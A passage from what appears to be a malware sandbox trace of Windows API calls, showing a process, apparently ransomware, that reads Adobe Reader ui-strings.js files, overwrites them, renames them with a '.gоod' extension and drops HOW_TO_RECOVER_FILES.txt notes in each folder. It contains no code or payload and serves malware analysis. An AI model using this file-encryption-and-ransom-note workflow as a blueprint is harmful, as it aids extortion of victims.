ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x95dd49c0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x480)) returned 1 [0257.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebf90) returned 1 [0257.778] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\da-dk\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\da-dk\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\da-dk\\ui-strings.js.gоod")) returned 1 [0257.778] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\da-dk\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ebcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\da-dk\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8f [0257.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec1d0) returned 1 [0257.779] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\da-dk\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\da-dk\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x864 [0257.779] GetFileType (hFile=0x864) returned 0x1 [0257.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec140) returned 1 [0257.779] GetFileType (hFile=0x864) returned 0x1 [0257.780] WriteFile (in: hFile=0x864, lpBuffer=0x3ce5e60*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ec298, lpOverlapped=0x0 | out: lpBuffer=0x3ce5e60*, lpNumberOfBytesWritten=0x208ec298*=0x5d0, lpOverlapped=0x0) returned 1 [0257.780] CloseHandle (hObject=0x864) returned 1 [0257.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0257.781] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\de-de", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\de-de", lpFilePart=0x0) returned 0x76 [0257.781] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\de-de\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0257.782] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.782] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0257.782] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0257.782] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0257.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0257.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0257.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0257.782] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\de-de", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\de-de", lpFilePart=0x0) returned 0x76 [0257.782] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\de-de\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ace0 [0257.783] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.783] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0257.783] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0257.783] FindClose (in: hFindFile=0x134ace0 | out: hFindFile=0x134ace0) returned 1 [0257.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0257.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0257.783] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0257.783] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec010) returned 1 [0257.783] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\de-de\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3cf5d38 | out: lpFileInformation=0x3cf5d38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f)) returned 1 [0257.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebfd0) returned 1 [0257.784] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0257.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0257.784] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\de-de\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0257.784] GetFileType (hFile=0x864) returned 0x1 [0257.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0257.784] GetFileType (hFile=0x864) returned 0x1 [0257.784] GetFileSize (in: hFile=0x864, lpFileSizeHigh=0x208ec068 | out: lpFileSizeHigh=0x208ec068*=0x0) returned 0x47f [0257.784] ReadFile (in: hFile=0x864, lpBuffer=0x3cf6560, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3cf6560*, lpNumberOfBytesRead=0x208ebf98*=0x47f, lpOverlapped=0x0) returned 1 [0257.785] CloseHandle (hObject=0x864) returned 1 [0259.874] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0259.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0259.874] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\de-de\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0259.875] GetFileType (hFile=0x86c) returned 0x1 [0259.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0259.875] GetFileType (hFile=0x86c) returned 0x1 [0259.875] WriteFile (in: hFile=0x86c, lpBuffer=0x38b0dd0*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x208ebea8, lpOverlapped=0x0 | out: lpBuffer=0x38b0dd0*, lpNumberOfBytesWritten=0x208ebea8*=0x480, lpOverlapped=0x0) returned 1 [0259.875] CloseHandle (hObject=0x86c) returned 1 [0259.875] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0259.876] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\de-de\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\de-de\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x89 [0259.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebfd0) returned 1 [0259.876] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\de-de\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x208ec0b0 | out: lpFileInformation=0x208ec0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x971b8a6c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x480)) returned 1 [0259.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebf90) returned 1 [0259.876] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\de-de\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\de-de\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\de-de\\ui-strings.js.gоod")) returned 1 [0259.877] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\de-de\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ebcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\de-de\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8f [0259.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec1d0) returned 1 [0259.877] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\de-de\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\de-de\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x86c [0259.877] GetFileType (hFile=0x86c) returned 0x1 [0259.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec140) returned 1 [0259.878] GetFileType (hFile=0x86c) returned 0x1 [0259.878] WriteFile (in: hFile=0x86c, lpBuffer=0x38b46d0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ec298, lpOverlapped=0x0 | out: lpBuffer=0x38b46d0*, lpNumberOfBytesWritten=0x208ec298*=0x5d0, lpOverlapped=0x0) returned 1 [0259.878] CloseHandle (hObject=0x86c) returned 1 [0259.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0259.879] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-ae", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-ae", lpFilePart=0x0) returned 0x76 [0259.879] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-ae\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aa40 [0259.880] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.880] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0259.880] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0259.880] FindClose (in: hFindFile=0x134aa40 | out: hFindFile=0x134aa40) returned 1 [0259.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0259.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0259.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0259.880] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-ae", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-ae", lpFilePart=0x0) returned 0x76 [0259.880] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-ae\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a860 [0259.880] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.881] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0259.881] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0259.881] FindClose (in: hFindFile=0x134a860 | out: hFindFile=0x134a860) returned 1 [0259.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0259.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0259.881] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-ae\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-ae\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0259.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec010) returned 1 [0259.881] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-ae\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x38c45d8 | out: lpFileInformation=0x38c45d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x45b)) returned 1 [0259.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebfd0) returned 1 [0259.881] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-ae\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-ae\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0259.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0259.881] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-ae\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, 